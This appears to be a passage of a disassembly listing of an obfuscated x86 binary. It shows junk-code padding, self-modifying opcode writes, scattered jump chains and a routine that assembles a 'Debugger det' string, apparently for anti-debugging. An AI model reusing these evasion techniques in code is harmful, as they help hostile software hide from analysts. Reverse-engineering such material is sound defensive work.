--------------------------------------------------------------------------- align 4 locret_42FDC8: ; CODE XREF: fzj3qwht:00432314j retn ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 60Bh, 0D33E9h, 0CA6E900h, 0 dd 5E243487h, 8AFC458Bh, 0FB86E900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_432090 loc_42FDEC: ; CODE XREF: sub_432090:loc_42FCC1j ; DATA XREF: sub_42F4AE+F8o jbe short loc_42FDF2 and al, 8Bh in al, dx push edi loc_42FDF2: ; CODE XREF: sub_432090:loc_42FDECj mov edi, ecx call near ptr dword_42F43C+1Fh ; END OF FUNCTION CHUNK FOR sub_432090 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FDFB: ; CODE XREF: sub_42F4AE+6FCj xchg edx, [esp-0Ch+arg_8] pop edx loc_42FDFF: ; CODE XREF: sub_42F4AE:loc_431EA6j push 75B3917Ch pop edx sub edx, 465D33A5h jmp loc_42FBEB ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_42FE11: ; DATA XREF: sub_42FF6B:loc_42FD40o sub [ebp-1459h], al push offset loc_431446 jmp loc_430C36 ; --------------------------------------------------------------------------- align 2 word_42FE22 dw 0F9F7h ; DATA XREF: sub_42ED87+4o dd 0FBA3800Fh, 0BB53FFFFh, 4300E7h, 0FFF9C3E9h, 0C30000FFh dd 55E90000h, 1 db 0 ; --------------------------------------------------------------------------- locret_42FE41: ; CODE XREF: fzj3qwht:00430191j retn ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_42FE43: ; CODE XREF: fzj3qwht:loc_430130j ; sub_42FA52+1EE4j jmp loc_4320C3 ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD "+" TO EXPAND] align 4 jmp loc_42F1C9 ; --------------------------------------------------------------------------- db 2 dup(0), 87h ; CODE XREF: fzj3qwht:004307A8p ; --------------------------------------------------------------------------- xor al, 24h pop esi call ds:dword_42A0C0 ; ExitProcess jmp locret_43201D ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431410 loc_42FE63: ; CODE XREF: sub_431410+Ej ; fzj3qwht:loc_431E94j lea eax, dword_42E868+6 call sub_4322DA add dh, al push es pushf xchg edx, [esp+8+var_8] mov esi, edx pop edx jmp loc_4320F3 ; END OF FUNCTION CHUNK FOR sub_431410 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42FE7E: ; CODE XREF: sub_42F4AE:loc_42F53Cj pop edx sub edx, 0D7453485h or edx, 4464E393h js near ptr dword_42EC68+26h ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- db 2 dup(0), 1Bh dd 0E9FD8BF2h, 1064h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF32 loc_42FE9D: ; CODE XREF: sub_42FF32:loc_4326CEj mov byte ptr [edx], 8Bh pop edx add eax, ebp add eax, 20790CFAh ; END OF FUNCTION CHUNK FOR sub_42FF32 ; --------------------------------------------------------------------------- db 82h, 0 ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND] dw 0FFEFh ; --------------------------------------------------------------------------- inc dword ptr [eax] mov ebx, [ecx] jmp loc_430F45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42FEB9: ; CODE XREF: sub_431686-233Fj mov byte ptr [ecx], 9Ch pop ecx push esi push 0CD222F4Eh pop esi or esi, 2FECD5AEh jmp loc_43095D ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_42FED0 proc near ; CODE XREF: sub_431686:loc_43144Dp xchg edx, [esp+0] pop edx dec dword ptr [ebp-10h] cmp dword ptr [ebp-10h], 0 jmp near ptr dword_42EA44+0ACh sub_42FED0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42FEE0: ; CODE XREF: fzj3qwht:0043264Fj push offset loc_430092 jmp loc_432430 ; --------------------------------------------------------------------------- align 4 loc_42FEEC: ; CODE XREF: fzj3qwht:00431F7Fj push offset byte_42FA6D jmp locret_430E95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EE90 loc_42FEF6: ; CODE XREF: sub_42EE90+4j xor ebx, 9F2302C0h call sub_42F4AE ; END OF FUNCTION CHUNK FOR sub_42EE90 ; --------------------------------------------------------------------------- db 2 dup(0), 50h ; =============== S U B R O U T I N E ======================================= sub_42FF04 proc near ; CODE XREF: fzj3qwht:004328DFp ; FUNCTION CHUNK AT 0043019F SIZE 00000005 BYTES xchg edx, [esp+0] pop edx pushf push 0A5760C23h pop eax push esi jmp loc_43019F sub_42FF04 endp ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 6C65F59h, 0F889E98Bh, 0C300FFFFh, 85E90000h, 22h, 0FFFC1AE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] ; =============== S U B R O U T I N E ======================================= sub_42FF32 proc near ; CODE XREF: fzj3qwht:loc_431270p ; fzj3qwht:004316F7j ; FUNCTION CHUNK AT 0042FE9D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004326CE SIZE 00000005 BYTES xchg edi, [esp+0] xchg ebx, [esp+0] mov edi, ebx pop ebx jmp loc_4326CE sub_42FF32 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0Fh dd 22E68Dh, 0FB850000h, 12FE9h db 2 dup(0) ; --------------------------------------------------------------------------- locret_42FF52: ; CODE XREF: fzj3qwht:0042EE9Fj retn ; --------------------------------------------------------------------------- db 87h dd 0CB8B241Ch, 240C875Bh, 6859F18Bh, 4304B1h, 0FFEA79E9h db 0FFh, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42FF6B proc near ; DATA XREF: sub_4316FE-1D87o var_24 = dword ptr -24h ; FUNCTION CHUNK AT 0042EFB2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042FD40 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00431630 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432476 SIZE 0000000D BYTES add esp, 0FFFFFFE0h push edx mov edx, esi xchg edx, [esp+24h+var_24] jmp loc_431630 sub_42FF6B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_127. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_42FF7C: ; CODE XREF: sub_431167+16BFj jmp nullsub_99 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- db 81h, 0C0h, 92h dd 5162EF0Ah, 0C87C88Bh, 0E91CE924h, 0FFFFh, 585BD38Bh dd 7710F081h, 0C881DA36h, 0B4728397h, 0D525F081h, 0C59EF60Dh dd 228AE951h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43098E loc_42FFB2: ; CODE XREF: sub_43098E:loc_430513j call sub_430218 ; END OF FUNCTION CHUNK FOR sub_43098E ; --------------------------------------------------------------------------- db 0 dd 1698E900h, 0C3000000h, 0FA48E900h, 0EEE8FFFFh, 5, 0E90BEFC1h dd 0FFFFF349h, 0E9DA0300h, 1F5Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_42FFDE: ; CODE XREF: fzj3qwht:0042ED34p xchg ebx, [esp] pop ebx add eax, 680AA673h inc ecx add cl, ch fst qword ptr [edi] ; --------------------------------------------------------------------------- db 3 dup(0) dd 0D8FB8100h, 0E9846517h, 0FFFFFF30h, 36E6DD81h, 0EE23B3C6h ; CODE XREF: sub_431F38+35Aj dd 0DA4E9h, 0C3000000h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43000C: ; CODE XREF: sub_42F4AE+1ABBj jmp nullsub_149 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; =============== S U B R O U T I N E ======================================= sub_430011 proc near ; CODE XREF: fzj3qwht:loc_430198p ; fzj3qwht:004317EEj xchg esi, [esp+0] pop esi add edx, 30B98DAFh call sub_43241A jmp nullsub_142 sub_430011 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_430025: ; CODE XREF: sub_431167-2246j jmp loc_43281C ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- dw 0C300h ; --------------------------------------------------------------------------- loc_43002C: ; DATA XREF: sub_43060A+8o push 84B15035h pop eax and eax, 73D25872h test eax, 100h jmp loc_4321CF ; --------------------------------------------------------------------------- loc_430043: ; CODE XREF: fzj3qwht:0042F9FFj call loc_430274 add [ebx+30890055h], cl jmp loc_430A01 ; --------------------------------------------------------------------------- align 4 dd 2F8F0F00h, 81000018h, 5AF787C8h, 26BDE9E1h, 0C30000h dd 5B241C87h, 2A916856h, 815E8091h, 0EFB36FCEh, 1C5EE93Fh dd 0 dd 2347880Fh, 0CDC10000h, 9C1C10Dh, 0FFE88DE9h ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_430092: ; DATA XREF: fzj3qwht:loc_42FEE0o push ecx push 549F42E7h pop esi sub esi, 0CDB8736Dh test esi, 10h jmp loc_431B81 ; --------------------------------------------------------------------------- align 4 dd 7A8840Fh, 0CAE80000h, 14h, 31870F00h, 0E9000028h, 558h dd 0B993C381h, 8CE9F1D3h, 12h db 0 ; --------------------------------------------------------------------------- loc_4300D1: ; CODE XREF: fzj3qwht:0043133Bj or eax, 9C3DC8D9h xor eax, 3BB45026h add eax, ebp add eax, 7B366111h mov eax, [eax] mov cl, 54h add eax, 0F8458BE0h mov ecx, 0Ah jmp loc_43018B ; --------------------------------------------------------------------------- dd 58D0000h, 4322E8h, 42F50F68h, 470E900h, 0 dd 75E9C23Bh, 0FFFFEDh ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 87h dd 0B5E90055h, 14h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430121: ; CODE XREF: sub_42F4AE+32C2j push offset loc_4325F3 jmp nullsub_145 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- locret_43012D: ; CODE XREF: fzj3qwht:0042EFFCj retn ; --------------------------------------------------------------------------- align 10h loc_430130: ; CODE XREF: fzj3qwht:0042F3C6j jbe loc_42FE43 cdq jmp near ptr dword_42EB78+78h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430C13 loc_43013E: ; CODE XREF: sub_430C13:loc_431C41j call sub_430E46 loc_430143: ; DATA XREF: fzj3qwht:00430842o mov edx, [eax] push ebx push 4C281044h pop ebx or ebx, 0F0022C0Ch push offset loc_430A2B jmp nullsub_153 ; END OF FUNCTION CHUNK FOR sub_430C13 ; --------------------------------------------------------------------------- dd 0EBE95B00h, 0Fh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4309EE loc_430165: ; CODE XREF: sub_4309EE+Cj xchg eax, [esp+0] mov edx, offset byte_432013 jmp near ptr dword_42E8AC+32h ; END OF FUNCTION CHUNK FOR sub_4309EE ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_430173: ; CODE XREF: fzj3qwht:loc_4313EBj pushf jmp loc_43140E ; --------------------------------------------------------------------------- db 2 dup(0), 8Bh dd 58880F11h, 0E9000012h, 0FFFFE655h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43018A: ; DATA XREF: sub_4301B7:loc_42FA8Fo popf loc_43018B: ; CODE XREF: fzj3qwht:004300F3j cdq push offset byte_432693 jmp locret_42FE41 ; --------------------------------------------------------------------------- align 4 loc_430198: ; CODE XREF: fzj3qwht:loc_4326D5j call sub_430011 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF04 loc_43019F: ; CODE XREF: sub_42FF04+Cj jmp near ptr dword_42EDF4+15h ; END OF FUNCTION CHUNK FOR sub_42FF04 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_144. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0), 0E9h dd 0FFFFE6C0h ; =============== S U B R O U T I N E ======================================= sub_4301AC proc near ; DATA XREF: fzj3qwht:0042EDBFo ; FUNCTION CHUNK AT 0042FC85 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00430C2F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043138D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004315EA SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00431604 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431CC5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00431D68 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00431DA4 SIZE 0000002A BYTES push ebx mov ebx, offset byte_4308B9 jmp loc_431D68 sub_4301AC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4301B7 proc near ; DATA XREF: sub_42F4AE+116o ; FUNCTION CHUNK AT 0042EA10 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042ED0A SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0042FA8F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FC14 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00430EA7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043164B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004324AA SIZE 00000005 BYTES add eax, 8C484A52h adc [eax], eax loc_4301BF: ; DATA XREF: fzj3qwht:0042EE31o nop push 0FAE3D3F1h pop ecx and ecx, 66372017h xor ecx, 8104DBC0h jmp loc_4324AA sub_4301B7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 xchg edi, [esp] pop edi push 8A6E7AD1h pop eax add eax, 532825A8h call sub_430A5C loc_4301ED: ; CODE XREF: fzj3qwht:loc_431635j mov byte ptr [edx], 8Ah pop edx push 0C0640AD8h pop eax or eax, 0B2196807h jmp loc_430A7B ; --------------------------------------------------------------------------- dw 487h dd 240C8724h, 8159C18Bh, 0E21961C0h, 0E9C50365h, 0FFFFF17Dh ; =============== S U B R O U T I N E ======================================= sub_430218 proc near ; CODE XREF: sub_43098E:loc_42FFB2p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004305FD SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg ebx, [esp-4+arg_0] mov edx, ebx pop ebx mov dword ptr [ebp-81h], 75626544h mov dword ptr [ebp-7Dh], 72656767h mov dword ptr [ebp-79h], 74656420h jmp loc_4305FD sub_430218 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 0E9007D8Bh, 0FFFFEE2Ch ; --------------------------------------------------------------------------- loc_430248: ; CODE XREF: fzj3qwht:00431ECCj push offset sub_43193B jmp near ptr loc_431976+1 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 dword_430254 dd 0FFE5B0E9h ; CODE XREF: fzj3qwht:00431ACEj ; --------------------------------------------------------------------------- inc dword ptr [eax] loc_43025A: ; CODE XREF: fzj3qwht:0042FA67j jmp loc_4311A6 ; --------------------------------------------------------------------------- align 10h jno loc_42E8EE pop eax jmp sub_431686 ; --------------------------------------------------------------------------- dd 8D0F0000h, 0D0Ah ; --------------------------------------------------------------------------- loc_430274: ; CODE XREF: fzj3qwht:loc_430043p xchg eax, [esp] pop eax mov byte ptr [eax], 87h pop eax call sub_4313F1 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF210h, 0ECFDE900h, 9C00FFFFh, 74454E68h, 0C0815816h dd 105B4972h, 0B710F081h, 0E957330Ch, 0FFFFEB23h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4312D7 loc_4302A9: ; CODE XREF: sub_4312D7:loc_42F7B5j pop edi sub eax, 698147CDh and eax, 0E353CA1h xor eax, 0E188CF2Dh jmp loc_431B2E ; END OF FUNCTION CHUNK FOR sub_4312D7 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4302C3: ; CODE XREF: fzj3qwht:0042FC64j mov eax, edx xchg eax, [esp] push ecx pop edx xchg edx, [esp] push esi jmp loc_432601 ; --------------------------------------------------------------------------- align 4 dd 9D685300h, 0E900430Fh, 21FDh db 0 ; --------------------------------------------------------------------------- loc_4302E1: ; CODE XREF: fzj3qwht:loc_432833j mov byte ptr [esi], 0C3h pop esi push offset loc_432196 jmp near ptr byte_42F6BD+2 ; --------------------------------------------------------------------------- push ecx pushf jmp sub_42F188 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_4316FE loc_4302F8: ; CODE XREF: sub_4316FE+10j mov byte ptr [esi], 0FFh pop esi popf xchg edx, [esp-4+arg_0] jmp loc_431965 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_430307: ; CODE XREF: fzj3qwht:0042FB8Fj xchg ecx, [esp] pop ecx push ecx mov ecx, esi jmp loc_4319D8 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_430315 proc near ; CODE XREF: fzj3qwht:0042EA2Cj ; sub_4301AC:loc_431D68p arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi mov byte ptr [ebx], 8Dh xchg eax, [esp-4+arg_0] jmp loc_42F05F sub_430315 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0FF9E800h, 0E9000000h, 0A39h, 0ED15E900h, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_430338: ; CODE XREF: sub_431452-EA5j jge loc_4325F3 jnp loc_42FCE9 add edx, 0A12DD8FBh and eax, 0EDF45F2Fh push offset loc_432322 jmp nullsub_126 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- dw 6800h ; --------------------------------------------------------------------------- mov ss, word ptr [edi] inc ebx add cl, ch nop idiv bh loc_430364: ; DATA XREF: fzj3qwht:loc_42F2E4o inc dword ptr [edi-2DF6DBFCh] jz loc_4311F5 push edx push 0DFA610CAh pop edx jmp loc_43108F ; --------------------------------------------------------------------------- dd 0AABA0000h, 0E90042FFh, 0FFFFFC3Eh ; CODE XREF: fzj3qwht:loc_432061j ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43038B: ; CODE XREF: fzj3qwht:0042FDC1j jmp loc_430E18 ; --------------------------------------------------------------------------- dd 7B680000h, 878B6225h, 0D78B243Ch, 179DE9h, 0C3000000h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FA52 loc_4303A4: ; CODE XREF: sub_42FA52+2680j mov byte ptr [eax], 87h pop eax and ebx, 1F990EC4h add ebx, 0E3AAFFBEh jmp loc_43273D ; END OF FUNCTION CHUNK FOR sub_42FA52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430F48 loc_4303B9: ; CODE XREF: sub_430F48:loc_4327D8j mov byte ptr [edi], 0C3h xchg esi, [esp+0] mov edi, esi pop esi push edi jmp loc_43167B ; END OF FUNCTION CHUNK FOR sub_430F48 ; --------------------------------------------------------------------------- call sub_431F1F add [ebx], cl std mov edx, 3B8BEC23h jmp sub_4312D7 ; --------------------------------------------------------------------------- dw 0C600h ; --------------------------------------------------------------------------- add ecx, [ebx+1A68535Bh] jns short loc_430427 db 67h pop ebx jmp loc_431C2C ; --------------------------------------------------------------------------- align 4 loc_4303EC: ; DATA XREF: sub_42F4AE:loc_4325E1o mov byte ptr [ebx], 9Ch pop ebx rol eax, 2 or eax, 114A16D6h push ecx push 34BF00EFh jmp loc_42ED4C ; --------------------------------------------------------------------------- db 0 byte_430405 db 57h, 68h, 0BAh ; DATA XREF: sub_431452+35o dd 87D180A7h, 0FE8B2434h, 8CEF815Eh, 0E988D0A6h, 0FFFFF4FCh db 0 ; =============== S U B R O U T I N E ======================================= sub_43041D proc near ; CODE XREF: fzj3qwht:004316AEp ; FUNCTION CHUNK AT 0042F32C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042F706 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042F88A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F922 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004304E8 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0043083D SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push ebx push 1E1EC43Bh loc_430427: ; CODE XREF: fzj3qwht:004303E2j pop ebx jmp loc_42F922 sub_43041D endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43042F: ; CODE XREF: sub_42F4AE+93j mov byte ptr [esi], 0Fh pop esi add edx, eax rol edx, 3 xor edx, eax jmp loc_43045A ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 10h retn ; --------------------------------------------------------------------------- jmp loc_432251 ; --------------------------------------------------------------------------- dw 8700h dd 1AD1E9C7h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F1F loc_430450: ; CODE XREF: sub_431F1F:loc_43080Bj push offset dword_430790 jmp nullsub_152 ; END OF FUNCTION CHUNK FOR sub_431F1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_43045A: ; CODE XREF: sub_42F4AE+F8Cj push offset loc_42F14F jmp nullsub_146 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dd 0CD030000h, 825FC181h, 189AA43h, 0F045F459h, 1BE2E9h db 3 dup(0) byte_43047B db 81h ; DATA XREF: sub_431AED-2C9Ao dd 734A9C0h, 1B3BE802h, 0E9000000h, 0FFFFED4Dh, 3537D381h dd 85E93DA8h db 10h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_430497 proc near ; CODE XREF: fzj3qwht:00431A82p xchg edi, [esp+0] pop edi xor edx, 0E4959E5Ch add edx, ebp push esi push 0D5AABFF9h pop esi jmp near ptr loc_430BD0+1 sub_430497 endp ; --------------------------------------------------------------------------- align 10h dd 4FFC6800h, 8158D254h, 0E1F098E0h, 2E6850B5h, 5888F8C0h dd 0F844E881h, 9DE92CF7h, 0FFFFE4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EFCF loc_4304D0: ; CODE XREF: sub_42EFCF+1514j ; sub_42EFCF+17B4j mov byte ptr [esi], 0FFh call sub_42F8A9 loc_4304D8: ; CODE XREF: sub_42FC3B+Dp add [edi+0C872414h], al and al, 8Bh rcr dword ptr [ecx-17h], 1 jle short loc_4304D0 ; END OF FUNCTION CHUNK FOR sub_42EFCF ; --------------------------------------------------------------------------- db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_4304E8: ; CODE XREF: sub_43041D:loc_42F922j sub ebx, 76D13B0h and ebx, 0B208DA5Eh sub ebx, 0A57C4284h and ebx, 50F69E62h xor ebx, 5CC2470Dh jmp loc_42F88A ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- align 4 locret_43050C: ; CODE XREF: fzj3qwht:loc_430AB0j retn ; --------------------------------------------------------------------------- loc_43050D: ; CODE XREF: fzj3qwht:00430D94j jmp loc_4316D6 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43098E loc_430513: ; CODE XREF: sub_43098E+20j jmp loc_42FFB2 ; END OF FUNCTION CHUNK FOR sub_43098E ; --------------------------------------------------------------------------- dd 0DE5E900h, 0F000000h, 14F78Ch, 0E9EDD100h, 0FFFFEAC2h db 2 dup(0), 99h ; =============== S U B R O U T I N E ======================================= sub_43052F proc near ; CODE XREF: sub_431F5F:loc_431971p ; FUNCTION CHUNK AT 0043058C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004308D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431D1A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00431E31 SIZE 0000002A BYTES xchg eax, [esp+0] pop eax mov edx, [eax] or edx, edx jmp loc_431E31 sub_43052F endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0FA810000h, 9B51C065h, 43DE9h, 0C8C10000h db 0Ch byte_43054D db 87h ; DATA XREF: fzj3qwht:0042E848w dw 2434h byte_430550 db 5Eh ; DATA XREF: fzj3qwht:0042E84Fw byte_430551 db 0Fh ; DATA XREF: fzj3qwht:0042E856w dw 4584h dd 52000001h, 52E9D38Bh, 0Fh, 241CF900h, 0FFF75FE9h, 0B56800FFh dd 68E4C0E9h, 42ED75h, 308E9h, 0C30000h, 0E95F2E87h, 0BE3h dd 36E9EF33h, 1Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43052F loc_43058C: ; CODE XREF: sub_43052F+1927j add eax, 481A04D3h jmp loc_4308D6 ; END OF FUNCTION CHUNK FOR sub_43052F ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_431452 loc_430598: ; CODE XREF: sub_431452:loc_42EF52j call sub_431C52 add [edi], cl test [esi+0FFFFFDh], ah xchg ebx, ebp and edx, 3E5C0832h jmp loc_430338 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- dw 8100h dd 0F3D438C9h, 2404874Ah, 302C658h, 0E9241C87h, 0FFFFF872h dd 0C35D59h, 1CC5E900h, 51000000h, 0C875955h, 0B12E924h dd 81000000h, 7CF099E0h, 37F08167h, 81B4F1AAh, 0C1D9A4C0h dd 0E8C5037Eh, 220Ch, 2376E9h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_430218 loc_4305FD: ; CODE XREF: sub_430218+22j jmp near ptr dword_42E9A4+51h ; END OF FUNCTION CHUNK FOR sub_430218 ; --------------------------------------------------------------------------- dw 8B00h dd 0F9D4E9CDh db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_43060A proc near ; CODE XREF: fzj3qwht:loc_42F912p xchg esi, [esp+0] pop esi mov byte ptr [ebx], 3 pop ebx push offset loc_43002C jmp nullsub_133 sub_43060A endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0FE188A0Fh, 0E98BFFFFh, 0C5E85A9Ch db 3 dup(0) ; --------------------------------------------------------------------------- loc_43062B: ; CODE XREF: fzj3qwht:0042F1F1j jmp loc_42ED28 ; --------------------------------------------------------------------------- dd 0C28B5000h, 0BA240487h, 4318ECh, 0FFFC48E9h, 0F0000FFh dd 0FFFD0188h, 3C1C1FFh, 800C1F7h, 0F3E90000h, 8100001Dh dd 0F8D268C0h, 2F689DFFh, 0E9004328h, 21C4h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_430669: ; CODE XREF: sub_42F4AE+3Aj jz near ptr loc_43287D+1 xchg edx, [esp-0Ch+arg_8] pop edx add edx, 0FB569FBFh mov edx, [edx] popf push edx jmp loc_43243C ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dw 0C768h dd 0E9004309h, 0FFFFF304h, 0C300h, 0A92C081h, 36E962EFh dd 16h, 1202E8h, 240C8700h, 8B243487h, 10685ECEh, 0E9000020h dd 0FFFFE2D1h ; --------------------------------------------------------------------------- loc_4306B4: ; CODE XREF: fzj3qwht:00432566j mov byte ptr [ebx], 0FFh pop ebx mov [edx], al dec dword ptr [ebp-10h] xchg eax, ecx inc ebp cld jmp loc_432501 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4306C7: ; CODE XREF: fzj3qwht:0042F892j popf xor edx, 41E859D5h loc_4306CE: ; CODE XREF: fzj3qwht:loc_42F883j add esi, 93AF46DDh rol esi, 19h jmp near ptr dword_42EB78+0C2h ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_4306DE: ; CODE XREF: fzj3qwht:loc_431F0Aj and esi, 0EAFE27D3h push offset word_43211E jmp locret_431202 ; --------------------------------------------------------------------------- align 10h loc_4306F0: ; CODE XREF: fzj3qwht:004326E4j xchg esi, [esp] pop esi push ebp mov ebp, edx push offset dword_430800 jmp loc_4318F3 ; --------------------------------------------------------------------------- align 2 dw 5D68h dd 0E90042E9h, 0FFFFE250h, 2012E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_430712: ; CODE XREF: fzj3qwht:00430D2Ej jmp loc_4307AE ; --------------------------------------------------------------------------- align 4 pop ecx xor ecx, 2B1E8752h sub ecx, 9E5F65DAh rol ecx, 1Bh add ecx, 0B1917298h add eax, ecx push esi jmp loc_4309D2 ; --------------------------------------------------------------------------- dw 2300h dd 